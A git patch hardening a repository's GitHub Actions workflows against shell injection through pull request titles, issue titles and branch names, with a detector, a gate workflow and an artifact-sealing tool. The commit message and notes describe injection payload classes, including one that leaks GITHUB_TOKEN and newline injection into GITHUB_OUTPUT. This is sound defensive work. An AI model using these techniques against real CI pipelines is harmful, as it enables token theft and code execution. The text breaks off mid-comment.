From 91bb4da1eef9b4ca264fed3289dd6571eefe4f64 Mon Sep 17 00:00:00 2001 From: gHashTag Date: Fri, 14 Aug 2026 22:19:28 +0000 Subject: [PATCH 1/2] ci: stop interpolating untrusted event data into shell, and seal evidential binaries A pull request title was pasted into a run: block, so its author chose what the runner executed. Measured over ten payloads: five execute a command under the interpolated form, including one that writes GITHUB_TOKEN to a file; all ten pass through an env: variable byte for byte with no side effect. Corrects the record: the failure that exposed this was caused by the backticks in the title of #2168, not by the parenthesis. Reproduced byte for byte. The parenthesis is what prevented execution, which makes the finding worse. The unused issue_title output is deleted rather than sanitised. Remaining event fields move to env:, the issue number is validated before it is written to GITHUB_OUTPUT, and SYNC_ARGS becomes an array. Second vector in l1-traceability.yml: a branch name may contain shell metacharacters, so the ref is validated before it reaches git. check_untrusted_shell_interp.py: 5 untrusted interpolations before, 0 after, over 35 workflows. It carries no branches: filter, so it also runs on stacked pull requests. artifact_seal.py records commit, build commands, toolchain, profile, digests and test results, and can rebuild from the commit and compare. Reproduced bit-exactly once the build path was made constant: the same commit built from differently named worktrees differed in 39,830,933 bytes, because a debug build embeds its source path. Closes #2171 --- .github/workflows/l1-traceability.yml | 34 +- .github/workflows/notebook-sync.yml | 134 ++++---- .github/workflows/untrusted-input-gate.yml | 35 ++ .gitignore | 3 + docs/NOW.md | 16 + docs/evidence/seal_m2162_pair.json | 52 +++ docs/evidence/seal_master-baseline.json | 47 +++ scripts/ci/artifact_seal.py | 358 +++++++++++++++++++++ scripts/ci/check_untrusted_shell_interp.py | 221 +++++++++++++ scripts/ci/rebuild_evidence.sh | 48 +++ scripts/ci/test_untrusted_payloads.py | 183 +++++++++++ 11 files changed, 1066 insertions(+), 65 deletions(-) create mode 100644 .github/workflows/untrusted-input-gate.yml create mode 100644 docs/evidence/seal_m2162_pair.json create mode 100644 docs/evidence/seal_master-baseline.json create mode 100644 scripts/ci/artifact_seal.py create mode 100644 scripts/ci/check_untrusted_shell_interp.py create mode 100755 scripts/ci/rebuild_evidence.sh create mode 100644 scripts/ci/test_untrusted_payloads.py diff --git a/.github/workflows/l1-traceability.yml b/.github/workflows/l1-traceability.yml index eddbf13eaa..cdc461688f 100644 --- a/.github/workflows/l1-traceability.yml +++ b/.github/workflows/l1-traceability.yml @@ -30,11 +30,16 @@ jobs: - name: Check for Closes #N in commits if: env.IS_BOT != 'true' id: check-commits + env: + EVENT_NAME: ${{ github.event_name }} + BASE_REF: ${{ github.base_ref }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PR_HEAD_REF: ${{ github.event.pull_request.head.ref }} run: | set -e # Get the base branch (master or main) - BASE_BRANCH="${{ github.event_name == 'pull_request' && github.base_ref || 'master' }}" + BASE_BRANCH="${BASE_REF:-master}" if ! git rev-parse --verify origin/main >/dev/null 2>&1; then BASE_BRANCH="master" fi @@ -97,16 +102,35 @@ jobs: - name: Check L2 GENERATION (gen/ edits forbidden) if: env.IS_BOT != 'true' id: check-generation + env: + EVENT_NAME: ${{ github.event_name }} + BASE_REF: ${{ github.base_ref }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PR_HEAD_REF: ${{ github.event.pull_request.head.ref }} run: | set -e # Get the base branch - BASE_BRANCH="${{ github.event_name == 'pull_request' && github.base_ref || 'master' }}" + BASE_BRANCH="${BASE_REF:-master}" # For PR, use the PR head SHA directly instead of HEAD (which is a merge commit) - if [ "${{ github.event_name }}" = "pull_request" ]; then - HEAD_SHA="${{ github.event.pull_request.head.sha }}" - git fetch origin "${{ github.event.pull_request.head.ref }}:$HEAD_SHA" 2>/dev/null || true + if [ "${EVENT_NAME:-}" = "pull_request" ]; then + HEAD_SHA="${PR_HEAD_SHA:-}" + case "$HEAD_SHA" in + *[!0-9a-f]*|"") echo "unexpected head sha; skipping fetch"; HEAD_SHA="HEAD" ;; + *) + # PR_HEAD_REF is the fork's branch name and is chosen by whoever + # opened the PR. git permits $ ( ) ` ; | & and quotes in a + # refname, so it is validated before use, and rejected if it + # could be read as an option rather than a ref. + if git check-ref-format --branch "${PR_HEAD_REF:-}" >/dev/null 2>&1 \ + && case "${PR_HEAD_REF:-}" in -*) false ;; *) true ;; esac; then + git fetch origin "${PR_HEAD_REF}:${HEAD_SHA}" 2>/dev/null || true + else + echo "refusing to fetch a ref name that does not validate: skipping" + fi + ;; + esac else HEAD_SHA="HEAD" fi diff --git a/.github/workflows/notebook-sync.yml b/.github/workflows/notebook-sync.yml index cda037f72c..74a2786aa7 100644 --- a/.github/workflows/notebook-sync.yml +++ b/.github/workflows/notebook-sync.yml @@ -40,76 +40,81 @@ jobs: extract-issue: if: github.event_name != 'workflow_dispatch' runs-on: ubuntu-latest + # This job reads untrusted event data. It gets read-only scope so that a + # future mistake here cannot write to the repository. + permissions: + contents: read outputs: issue_number: ${{ steps.issue.outputs.number }} - issue_title: ${{ steps.issue.outputs.title }} event_type: ${{ steps.event_type.outputs.type }} + # issue_title was published here and consumed by nobody. It is not + # reinstated in a sanitised form: untrusted text that no step reads is + # best not carried at all. steps: - name: Checkout repo uses: actions/checkout@v6 - name: Extract issue info id: issue + # Every value arrives through env:, which the runner sets, so no + # character in it can be parsed as shell. Nothing from the event is + # interpolated into the script text. + env: + EVENT_NAME: ${{ github.event_name }} + ISSUE_NUMBER: ${{ github.event.issue.number }} + PR_NUMBER: ${{ github.event.pull_request.number }} + REF_NAME: ${{ github.ref_name }} run: | - ISSUE_NUM="" - ISSUE_TITLE="" + set -euo pipefail - case "${{ github.event_name }}" in - issues) - ISSUE_NUM="${{ github.event.issue.number }}" - ISSUE_TITLE="${{ github.event.issue.title }}" - echo "type=issue" >> $GITHUB_OUTPUT - ;; - issue_comment) - ISSUE_NUM="${{ github.event.issue.number }}" - ISSUE_TITLE="${{ github.event.issue.title }}" - echo "type=comment" >> $GITHUB_OUTPUT - ;; - pull_request) - ISSUE_NUM="${{ github.event.pull_request.number }}" - ISSUE_TITLE="${{ github.event.pull_request.title }}" - echo "type=pr" >> $GITHUB_OUTPUT - ;; - pull_request_review) - ISSUE_NUM="${{ github.event.pull_request.number }}" - ISSUE_TITLE="${{ github.event.pull_request.title }}" - echo "type=pr" >> $GITHUB_OUTPUT - ;; + ISSUE_NUM="" + case "$EVENT_NAME" in + issues|issue_comment) ISSUE_NUM="${ISSUE_NUMBER:-}" ;; + pull_request|pull_request_review) ISSUE_NUM="${PR_NUMBER:-}" ;; push) - # Extract from branch name: feature/issue-357 -> 357 - BRANCH="${{ github.ref_name }}" - ISSUE_NUM=$(echo "$BRANCH" | grep -oE '(issue-|#)?[0-9]+' | head -1 | tr -d 'issue-#' || echo "") - echo "type=push" >> $GITHUB_OUTPUT + # feature/issue-357 -> 357 + ISSUE_NUM="$(printf '%s' "${REF_NAME:-}" \ + | grep -oE '[0-9]+' | head -1 || true)" ;; esac - echo "number=$ISSUE_NUM" >> $GITHUB_OUTPUT - echo "title=$ISSUE_TITLE" >> $GITHUB_OUTPUT + # Accept only decimal digits. Downstream this number is spliced into a + # command line, and GITHUB_OUTPUT is a newline-delimited file: a value + # containing a newline defines additional outputs of its own choosing. + case "$ISSUE_NUM" in + ''|*[!0-9]*) ISSUE_NUM="" ;; + esac + + printf 'number=%s\n' "$ISSUE_NUM" >> "$GITHUB_OUTPUT" - name: Determine event type id: event_type + env: + EVENT_NAME: ${{ github.event_name }} + EVENT_ACTION: ${{ github.event.action }} run: | - EVENT_TYPE="" + set -euo pipefail + + # The action name is a closed set, so it is checked against that set + # rather than trusted to be one of them. The check costs one case + # statement and removes this value from the argument that has to be + # made about the whole file. + ACTION="unknown" + case "${EVENT_ACTION:-}" in + opened|edited|labeled|closed|created|synchronize|submitted) + ACTION="$EVENT_ACTION" ;; + esac - case "${{ github.event_name }}" in - issues) - EVENT_TYPE="issue_${{ github.event.action }}" - ;; - issue_comment) - EVENT_TYPE="comment" - ;; - pull_request) - EVENT_TYPE="pr_${{ github.event.action }}" - ;; - pull_request_review) - EVENT_TYPE="review" - ;; - push) - EVENT_TYPE="push" - ;; + EVENT_TYPE="" + case "$EVENT_NAME" in + issues) EVENT_TYPE="issue_${ACTION}" ;; + issue_comment) EVENT_TYPE="comment" ;; + pull_request) EVENT_TYPE="pr_${ACTION}" ;; + pull_request_review) EVENT_TYPE="review" ;; + push) EVENT_TYPE="push" ;; esac - echo "type=$EVENT_TYPE" >> $GITHUB_OUTPUT + printf 'type=%s\n' "$EVENT_TYPE" >> "$GITHUB_OUTPUT" # Sync to NotebookLM sync-notebook: @@ -140,34 +145,37 @@ jobs: run: | cd contrib/backend/notebooklm - SYNC_ARGS="--issue $ISSUE_NUM" + # An array, not a string: a string is re-split by the shell on + # whatever IFS happens to be, which is a second way for a value to + # become more than one argument. + SYNC_ARGS=(--issue "$ISSUE_NUM") # Determine sync type case "$EVENT_TYPE" in issue_opened|issue_edited|pr_opened|pr_synchronize|push) - SYNC_ARGS="$SYNC_ARGS --event push" + SYNC_ARGS+=(--event push) echo "🔄 Syncing push/PR event for issue #$ISSUE_NUM" ;; issue_closed) - SYNC_ARGS="$SYNC_ARGS --event merge" + SYNC_ARGS+=(--event merge) echo "✨ Syncing merge (issue closed) for issue #$ISSUE_NUM" ;; comment) - SYNC_ARGS="$SYNC_ARGS --event push --trigger comment" + SYNC_ARGS+=(--event push --trigger comment) echo "đŸ’Ŧ Syncing new comment for issue #$ISSUE_NUM" ;; pr_closed) - SYNC_ARGS="$SYNC_ARGS --event merge --trigger merged" + SYNC_ARGS+=(--event merge --trigger merged) echo "🔀 Syncing PR merge for #$ISSUE_NUM" ;; *) echo "â„šī¸ Event type $EVENT_TYPE - using default sync" - SYNC_ARGS="$SYNC_ARGS --event push" + SYNC_ARGS+=(--event push) ;; esac # Run sync - python3.10 sync.py $SYNC_ARGS || { + python3.10 sync.py "${SYNC_ARGS[@]}" || { echo "âš ī¸ Sync completed with warnings" exit 0 } @@ -287,21 +295,27 @@ jobs: run: | cd contrib/backend/notebooklm - SYNC_ARGS="--issue $ISSUE_NUM" + # An array, not a string: a string is re-split by the shell on + # whatever IFS happens to be, which is a second way for a value to + # become more than one argument. + SYNC_ARGS=(--issue "$ISSUE_NUM") case "$SYNC_TYPE" in comment) - SYNC_ARGS="$SYNC_ARGS --event push --trigger comment" + SYNC_ARGS+=(--event push --trigger comment) ;; activity) - SYNC_ARGS="--activity" + # Replaces the array rather than appending to it: --activity is + # documented as standalone, and the original assignment here + # discarded --issue too. + SYNC_ARGS=(--activity) ;; *) - SYNC_ARGS="$SYNC_ARGS --event push" + SYNC_ARGS+=(--event push) ;; esac - python3.10 sync.py $SYNC_ARGS + python3.10 sync.py "${SYNC_ARGS[@]}" - name: Comment on issue (optional) if: inputs.sync_type == 'activity' diff --git a/.github/workflows/untrusted-input-gate.yml b/.github/workflows/untrusted-input-gate.yml new file mode 100644 index 0000000000..1e4fe15a19 --- /dev/null +++ b/.github/workflows/untrusted-input-gate.yml @@ -0,0 +1,35 @@ +name: Untrusted Input Gate + +# Two checks, deliberately separate: +# +# check_untrusted_shell_interp.py -- no workflow interpolates untrusted event +# data into a run: block +# test_untrusted_payloads.py -- the two shell forms behave as claimed, on +# payloads whose effect is declared up front +# +# The first is a property of this repository and can be fixed. The second is a +# property of bash and cannot; it exists so that the first check's reason is +# reproducible rather than asserted. +# +# No `branches:` filter: a gate that filters pull_request by branch does not run +# on a stacked PR and reads as green (see #2167). + +on: + pull_request: + push: + branches: [master] + +permissions: + contents: read + +jobs: + untrusted-input: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + + - name: No untrusted event data interpolated into shell + run: python3 scripts/ci/check_untrusted_shell_interp.py + + - name: Payload behaviour matches what is claimed about it + run: python3 scripts/ci/test_untrusted_payloads.py diff --git a/.gitignore b/.gitignore index 4b61c652e8..ba3cc15227 100644 --- a/.gitignore +++ b/.gitignore @@ -91,3 +91,6 @@ docker/Xilinx_Unified_*.bin # the specification it claims to be about. Do not commit. fpga/formal/mvp_classifier_dut.v lean4_bridge/.lake/ + +# Evidential binaries: sealed by docs/evidence/seal_*.json, not stored in git. +docs/evidence/bin/ diff --git a/docs/NOW.md b/docs/NOW.md index abe5da2612..618d74330a 100644 --- a/docs/NOW.md +++ b/docs/NOW.md @@ -470,6 +470,22 @@ Last updated: 2026-08-18 - **It earned its keep immediately**: it caught two places in the `.tex` that the first pass of this very change had missed - Unrelated and worth stating: `docs/SILICON_TRAINING_METHODOLOGY.md` was audited for the same defect class and is **clean**. It distinguishes a loose from a tight constraint, uses `create_clock -period 50`, attributes the 21 -> 29 MHz change to a specific design edit, and keeps twelve ruled-out hypotheses. The papers were the problem; the engineering notes were not +# NOW -- a pull request title is untrusted input, and it was being run (2026-08-14) + +Last updated: 2026-08-14 + +## ci: stop executing event data, and seal the binaries that carry evidence (Closes #2171) + +- **A pull request title was interpolated into a `run:` block, so whoever wrote the title chose what the runner executed.** `notebook-sync.yml` pasted `github.event.pull_request.title` and `github.event.issue.title` straight into shell. Measured on ten payloads: five of them execute a command under that form -- `$(...)`, backticks, `;`, `${IFS}` in place of a space, and one that writes `$GITHUB_TOKEN` to a file. The same ten pass through an `env:` variable byte for byte with no side effect +- **The title that exposed this was broken by backticks, not by the parenthesis, and the earlier attribution in #2171 is corrected here.** The title of #2168 quotes code in backticks; bash opened a command substitution on them and `(` was a syntax error inside it, reproduced byte for byte against the CI log. The parenthesis is what stopped the execution rather than what caused the failure -- had the quoted text been a valid command it would have run. Titles in this repository quote code as a matter of style, so the dangerous construct is the ordinary one +- **The unsafe value was serving no purpose.** The `issue_title` output was published and read by nobody, so it is deleted rather than sanitised. Everything still needed moves to `env:`, the issue number is checked against `^[0-9]+$` before it is written, and `SYNC_ARGS` becomes an array instead of a string the shell re-splits +- **A newline needs no shell at all:** written into `GITHUB_OUTPUT`, which is a newline-delimited file, a value containing one defines further outputs of its own choosing. Demonstrated. Quoting does not help, because the value is already data and the file format is what is abused +- **Second vector, same class:** `l1-traceability.yml` fetched `github.event.pull_request.head.ref`. `git check-ref-format` accepts `$( )`, backticks, `;`, `|`, `&` and quotes in a branch name, so the ref is now validated and refused if it could read as an option +- `scripts/ci/check_untrusted_shell_interp.py` is the standing check: 5 untrusted interpolations before this change, 0 after, over 35 workflows. It runs with no `branches:` filter, since a gate that filters by branch reads as green on a stacked PR (#2167) +- **Evidential binaries no longer live only in `/tmp`.** `scripts/ci/artifact_seal.py` records commit, build commands, toolchain, profile, digests, declared inputs and test results; `verify --rebuild` rebuilds from the named commit and compares. Reproduced bit-exactly at `836e8bc4...` from `b928725` +- **That only worked once the build path was made a constant.** A debug build embeds its source path, so two builds of the same commit from differently named temporary worktrees differed in 39,830,933 bytes. Digest comparison is a usable check only from a fixed path +- **The pair behind the tick D differential is sealed with its commit field empty.** Provenance not captured at build time cannot be recovered afterwards, and writing today's `HEAD` there would manufacture it + # NOW -- BNF: the control that measures what ternary is worth (2026-08-09) Last updated: 2026-08-09 diff --git a/docs/evidence/seal_m2162_pair.json b/docs/evidence/seal_m2162_pair.json new file mode 100644 index 0000000000..162689eb14 --- /dev/null +++ b/docs/evidence/seal_m2162_pair.json @@ -0,0 +1,52 @@ +{ + "schema": "trinity.artifact-seal/1", + "sealed_utc": "2026-08-14T22:03:48.093958+00:00", + "obtained_utc": "2026-08-14T20:07:00Z", + "label": "m2162-differential-pair", + "purpose": "the base/candidate pair behind the tick D full-corpus differential (PR #2151, #2162)", + "source": { + "repo": "/home/user/workspace/t27", + "remote": "https://github.com/gHashTag/t27.git", + "commit": null, + "commit_subject": "", + "branch": "", + "provenance": "unrecorded-at-build-time", + "claimed_commit_unverified": "base: origin/master b928725; candidate: w699-generic-const-decl (PR #2168). Neither was recorded at build time.", + "tree_dirty_at_seal_time": true, + "tree_dirty_note": "the working tree had uncommitted changes, so the commit above does not fully describe these artifacts" + }, + "build": { + "profile": "dev", + "commands": [ + "cd bootstrap && cargo build" + ], + "toolchain": { + "rustc": "rustc 1.97.1 (8bab26f4f 2026-07-14)", + "cargo": "cargo 1.97.1 (c980f4866 2026-06-30)", + "python3": "Python 3.14.3", + "uname": "Linux 6.1.155+ x86_64" + } + }, + "artifacts": [ + { + "path": "/tmp/t27c.m2162base", + "present": true, + "sha256": "760373266c87bdd8c69e22bbe5a5a06bd62bcd6150d621d472caf21e2b327bcb", + "size_bytes": 14144800, + "mtime_utc": "2026-08-14T20:07:49.792377+00:00" + }, + { + "path": "/tmp/t27c.m2162fix", + "present": true, + "sha256": "17895fa2d5a0659485474a34a93b1262d7d85edf982eaf7ba02ca9b3ea346eb5", + "size_bytes": 14150448, + "mtime_utc": "2026-08-14T20:10:40.320377+00:00" + } + ], + "inputs": [], + "tests": [], + "limits": [ + "verify recomputes digests; it does not prove the artifact matches the commit. Use --rebuild for that, and read its caveat.", + "a rebuild mismatch is reported as unreproduced, not as tampering: cargo release builds are not bit-reproducible by default." + ] +} diff --git a/docs/evidence/seal_master-baseline.json b/docs/evidence/seal_master-baseline.json new file mode 100644 index 0000000000..68cb11b488 --- /dev/null +++ b/docs/evidence/seal_master-baseline.json @@ -0,0 +1,47 @@ +{ + "schema": "trinity.artifact-seal/1", + "sealed_utc": "2026-08-14T22:17:21.474069+00:00", + "obtained_utc": "2026-08-14T22:17:21.474102+00:00", + "label": "master-baseline", + "purpose": "evidential binary rebuilt from a named commit", + "source": { + "repo": "/home/user/workspace/t27", + "built_in_tree": "/tmp/t27_seal_build", + "remote": "https://github.com/gHashTag/t27.git", + "commit": "b92872507f6c7619acce43e5ae262b1dc9c4cbf2", + "commit_subject": "The ladder is TNF, and the four families now have their vectors (Refs #2001) (#2075)", + "branch": "HEAD", + "provenance": "captured-at-build-time", + "claimed_commit_unverified": "", + "tree_dirty_at_seal_time": false, + "tree_dirty_note": "" + }, + "build": { + "profile": "dev", + "commands": [ + "cd bootstrap && CARGO_TARGET_DIR=/home/user/workspace/t27/target cargo build --quiet" + ], + "toolchain": { + "rustc": "rustc 1.97.1 (8bab26f4f 2026-07-14)", + "cargo": "cargo 1.97.1 (c980f4866 2026-06-30)", + "python3": "Python 3.14.3", + "uname": "Linux 6.1.155+ x86_64" + } + }, + "artifacts": [ + { + "path": "/home/user/workspace/t27/docs/evidence/bin/t27c.master-baseline", + "present": true, + "sha256": "836e8bc4d9a8bafadec9ae0ca72e23f2ee0d9f1bad8f814527afc380544c2ef8", + "size_bytes": 118012520, + "mtime_utc": "2026-08-14T22:16:39.815606+00:00", + "produced_at": "/home/user/workspace/t27/target/debug/t27c" + } + ], + "inputs": [], + "tests": [], + "limits": [ + "verify recomputes digests; it does not prove the artifact matches the commit. Use --rebuild for that, and read its caveat.", + "a rebuild mismatch is reported as unreproduced, not as tampering: cargo release builds are not bit-reproducible by default." + ] +} diff --git a/scripts/ci/artifact_seal.py b/scripts/ci/artifact_seal.py new file mode 100644 index 0000000000..8196f66f37 --- /dev/null +++ b/scripts/ci/artifact_seal.py @@ -0,0 +1,358 @@ +#!/usr/bin/env python3 +"""tri artifact-seal -- record what an evidential binary actually was. + +The problem this exists for: /tmp/t27c.base and /tmp/t27c.fixed carried the +difference behind several loop reports, and neither one recorded the commit it +came from, the profile it was built with, or the compiler that built it. A +sandbox reset destroys them, and nothing is left that could tell whether a +rebuilt binary is the same binary. Two earlier tools were lost that way. + +A seal is a JSON manifest holding, for each artifact: + + commit SHA + whether the tree was dirty when it was built + the exact build commands + toolchain versions + build profile + SHA-256, size and mtime of every artifact and every declared input + results of the tests run against it, by SHA-256 of their output + the date it was obtained + +What a seal proves and what it does not: + + verify recomputes every digest. Detects a changed or missing + artifact. Proves the file on disk is the file that was + sealed. Says NOTHING about whether it matches the commit. + verify --rebuild runs the recorded build commands into a scratch tree and + compares digests. A match reproduces the chain. A + mismatch is NOT automatically a fault: Rust release + builds embed paths and are not bit-reproducible by + default, so a mismatch is reported as `unreproduced` + with the two digests, and never as `tampered`. + +A missing seal is a stated gap. It is not evidence of anything. +""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import os +import shutil +import subprocess +import sys +import time +from datetime import datetime, timezone +from pathlib import Path + +SCHEMA = "trinity.artifact-seal/1" + + +def sha256(path: Path) -> str: + h = hashlib.sha256() + with path.open("rb") as f: + for chunk in iter(lambda: f.read(1 << 20), b""): + h.update(chunk) + return h.hexdigest() + + +def cmd_out(cmd: list[str], cwd: Path | None = None) -> str: + try: + p = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True, timeout=120) + return (p.stdout or p.stderr).strip().splitlines()[0] if (p.stdout or p.stderr) else "" + except Exception as e: + return f"unavailable: {e}" + + +def describe_file(path: Path) -> dict: + if not path.exists(): + return {"path": str(path), "present": False} + st = path.stat() + return { + "path": str(path), + "present": True, + "sha256": sha256(path), + "size_bytes": st.st_size, + "mtime_utc": datetime.fromtimestamp(st.st_mtime, timezone.utc).isoformat(), + } + + +def canonical_repo(repo: Path) -> Path: + """The main worktree root, given any worktree of it.""" + common = git(repo, "rev-parse", "--path-format=absolute", "--git-common-dir") + if common and Path(common).name == ".git" and Path(common).parent.exists(): + return Path(common).parent + return repo + + +def git(repo: Path, *args: str) -> str: + return cmd_out(["git", *args], cwd=repo) + + +def do_create(a) -> int: + repo = Path(a.repo).resolve() + arts = [Path(p).resolve() for p in a.artifact] + produced = list(a.produced or []) + if produced and len(produced) != len(arts): + print("--produced, when given, must be given once per --artifact", + file=sys.stderr) + return 2 + produced += [""] * (len(arts) - len(produced)) + missing = [p for p in arts if not p.exists()] + if missing: + print("refusing to seal: artifact(s) not on disk:", file=sys.stderr) + for m in missing: + print(" ", m, file=sys.stderr) + return 2 + + dirty = git(repo, "status", "--porcelain") != "" + + # Provenance that was not captured at build time cannot be recovered later. + # An artifact built before sealing existed may be sealed, but the commit + # field is then left empty and the claim is recorded as a claim. Writing the + # current HEAD there would manufacture provenance, which is worse than + # admitting there is none: the digest would look authoritative and describe + # a commit the binary was never built from. + unverified = a.commit_unverified + manifest = { + "schema": SCHEMA, + "sealed_utc": datetime.now(timezone.utc).isoformat(), + "obtained_utc": a.obtained or datetime.now(timezone.utc).isoformat(), + "label": a.label, + "purpose": a.purpose or "", + "source": { + # The CANONICAL repository root, not the tree the build ran in. A + # build from a named commit happens in a throwaway worktree under + # /tmp; recording that path made the seal unusable the moment the + # worktree was removed, because --rebuild had nowhere to fetch the + # commit from. Found by using the tool, not by reading it. + "repo": str(canonical_repo(repo)), + "built_in_tree": str(repo), + "remote": git(repo, "remote", "get-url", "origin"), + "commit": None if unverified else git(repo, "rev-parse", "HEAD"), + "commit_subject": "" if unverified else git(repo, "log", "-1", "--pretty=%s"), + "branch": "" if unverified else git(repo, "rev-parse", "--abbrev-ref", "HEAD"), + "provenance": "unrecorded-at-build-time" if unverified else "captured-at-build-time", + "claimed_commit_unverified": unverified or "", + # A dirty tree means the commit does NOT describe what was built. + # Recorded rather than refused, because a mid-work measurement is + # still worth sealing -- it just cannot claim to be the commit. + "tree_dirty_at_seal_time": dirty, + "tree_dirty_note": ("the working tree had uncommitted changes, so the " + "commit above does not fully describe these " + "artifacts") if dirty else "", + }, + "build": { + "profile": a.profile, + "commands": a.build_cmd, + "toolchain": { + "rustc": cmd_out(["rustc", "--version"]), + "cargo": cmd_out(["cargo", "--version"]), + "python3": cmd_out(["python3", "--version"]), + "uname": cmd_out(["uname", "-srm"]), + }, + }, + # produced_at is where the BUILD leaves the file, which is not where the + # sealed copy lives. Without it --rebuild looked for the sealed filename + # inside the rebuilt tree, found nothing, and reported "unreproduced" -- + # a tool failure wearing the costume of a negative result. That is the + # failure mode these loops keep meeting: the measurer is the first + # suspect, and an absent comparison must never print as a comparison + # that came out badly. + "artifacts": [dict(describe_file(p), produced_at=prod) + for p, prod in zip(arts, produced)], + "inputs": [describe_file(Path(p).resolve()) for p in (a.input or [])], + "tests": [], + "limits": [ + "verify recomputes digests; it does not prove the artifact matches " + "the commit. Use --rebuild for that, and read its caveat.", + "a rebuild mismatch is reported as unreproduced, not as tampering: " + "cargo release builds are not bit-reproducible by default.", + ], + } + + for spec in (a.test or []): + name, _, command = spec.partition("=") + if not command: + print(f"--test expects NAME=COMMAND, got {spec!r}", file=sys.stderr) + return 2 + t0 = time.time() + p = subprocess.run(command, shell=True, cwd=repo, capture_output=True, text=True) + manifest["tests"].append({ + "name": name, + "command": command, + "returncode": p.returncode, + "seconds": round(time.time() - t0, 3), + "stdout_sha256": hashlib.sha256(p.stdout.encode()).hexdigest(), + "stdout_tail": p.stdout.strip().splitlines()[-3:], + }) + + out = Path(a.out) + out.parent.mkdir(parents=True, exist_ok=True) + out.write_text(json.dumps(manifest, indent=2) + "\n") + print(f"sealed {len(arts)} artifact(s) -> {out}") + for art in manifest["artifacts"]: + print(f" {art['sha256'][:16]}... {art['size_bytes']:>12,} B {art['path']}") + if dirty: + print(" note: tree was dirty; the commit does not fully describe these files") + for t in manifest["tests"]: + print(f" test {t['name']}: rc={t['returncode']}") + return 0 + + +def do_verify(a) -> int: + m = json.loads(Path(a.seal).read_text()) + if m.get("schema") != SCHEMA: + print(f"unknown schema {m.get('schema')!r}", file=sys.stderr) + return 2 + + print(f"seal {a.seal}") + print(f"label {m['label']}") + if m["source"].get("provenance") == "unrecorded-at-build-time": + print("commit NOT RECORDED -- this artifact predates sealing") + print(f" claimed origin, unverified: {m['source'].get('claimed_commit_unverified','')}") + else: + print(f"commit {m['source']['commit']} ({m['source']['branch']})") + print(f"profile {m['build']['profile']}") + print(f"toolchain {m['build']['toolchain']['rustc']}") + print(f"obtained {m['obtained_utc']}") + if m["source"].get("tree_dirty_at_seal_time"): + print(" tree was DIRTY at seal time: commit is not a full description") + print() + + bad = [] + for art in m["artifacts"]: + p = Path(art["path"]) + if not p.exists(): + print(f"MISSING {art['path']}") + bad.append(("missing", art["path"])) + continue + now = sha256(p) + if now == art["sha256"]: + print(f"intact {art['path']}") + else: + print(f"CHANGED {art['path']}\n sealed {art['sha256']}\n now {now}") + bad.append(("changed", art["path"])) + + if a.rebuild and m["source"].get("provenance") == "unrecorded-at-build-time": + print() + print("rebuild not attempted: there is no recorded commit to rebuild from.") + print("Rebuild the artifact from a named commit and seal that instead.") + bad.append(("no-provenance", m["label"])) + elif a.rebuild: + print() + rc = do_rebuild(m, Path(a.rebuild_into)) + if rc != 0: + bad.append(("rebuild", "see above")) + + print() + if bad: + print(f"FAIL: {len(bad)} problem(s): " + ", ".join(f"{k}:{v}" for k, v in bad)) + return 1 + print("OK: every sealed artifact is present and its digest is unchanged.") + print("This does not show the artifact matches the commit. For that, --rebuild.") + return 0 + + +def do_rebuild(m: dict, into: Path) -> int: + commit = m["source"]["commit"] + repo = Path(m["source"]["repo"]) + if into.exists(): + subprocess.run(["git", "worktree", "remove", "--force", str(into)], + cwd=repo, capture_output=True) + shutil.rmtree(into, ignore_errors=True) + into.mkdir(parents=True) + print(f"rebuilding {commit[:12]} into {into}") + if not (repo / ".git").exists(): + print(f"the sealed repository path no longer exists: {repo}") + print("rebuild not attempted. Re-seal from a live checkout.") + return 1 + p = subprocess.run(["git", "worktree", "add", "--detach", str(into), commit], + cwd=repo, capture_output=True, text=True) + if p.returncode != 0: + print("could not create a worktree at that commit; rebuild not attempted") + print(p.stderr.strip()[:400]) + return 1 + try: + for c in m["build"]["commands"]: + print(" $", c) + r = subprocess.run(c, shell=True, cwd=into, capture_output=True, text=True) + if r.returncode != 0: + print(f" build command failed rc={r.returncode}") + print(" " + r.stderr.strip()[-500:]) + return 1 + same = diff = 0 + unknown = 0 + for art in m["artifacts"]: + name = Path(art["path"]).name + prod = art.get("produced_at") or "" + if prod: + cand = Path(prod) if Path(prod).is_absolute() else into / prod + cands = [cand] if cand.exists() else [] + else: + cands = list(into.rglob(name)) + if not cands: + # Not "unreproduced": the comparison did not happen. + print(f" cannot locate the rebuilt counterpart of {name}" + f"{' at ' + prod if prod else ' by name'}") + print(" -> not-evaluated, not a mismatch") + unknown += 1 + continue + got = sha256(cands[0]) + if got == art["sha256"]: + print(f" reproduced {name} {got[:16]}...") + same += 1 + else: + print(f" unreproduced {name}\n sealed {art['sha256']}\n built {got}") + print(" not evidence of tampering: cargo release builds embed") + print(" absolute paths and are not bit-reproducible by default.") + diff += 1 + print(f" rebuild: {same} reproduced, {diff} unreproduced, " + f"{unknown} not-evaluated") + return 0 if (diff == 0 and unknown == 0) else 1 + finally: + subprocess.run(["git", "worktree", "remove", "--force", str(into)], + cwd=repo, capture_output=True) + + +def main() -> int: + ap = argparse.ArgumentParser(prog="tri artifact-seal", description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter) + sub = ap.add_subparsers(dest="cmd", required=True) + + c = sub.add_parser("create", help="seal artifacts into a manifest") + c.add_argument("--label", required=True) + c.add_argument("--artifact", action="append", required=True) + c.add_argument("--produced", action="append", + help="where the build leaves this artifact, absolute or " + "relative to the build tree; once per --artifact") + c.add_argument("--out", required=True) + c.add_argument("--build-cmd", action="append", default=[], + help="exact command that produced the artifacts; repeatable") + c.add_argument("--profile", default="unknown", help="release | dev | unknown") + c.add_argument("--input", action="append", help="declared input, digested too") + c.add_argument("--test", action="append", help="NAME=COMMAND, run and recorded") + c.add_argument("--purpose", help="what this artifact is evidence FOR") + c.add_argument("--obtained", help="ISO date the artifact was obtained") + c.add_argument("--repo", default=".") + c.add_argument("--commit-unverified", metavar="SHA_OR_NOTE", + help="the artifact predates sealing: record the claimed origin " + "as an unverified claim and leave the commit field empty") + c.set_defaults(fn=do_create) + + v = sub.add_parser("verify", help="recompute digests, optionally rebuild") + v.add_argument("seal") + v.add_argument("--rebuild", action="store_true") + # Same constant as scripts/ci/rebuild_evidence.sh, and it has to be: a debug + # build embeds its source path, so rebuilding elsewhere guarantees a + # different digest for reasons that have nothing to do 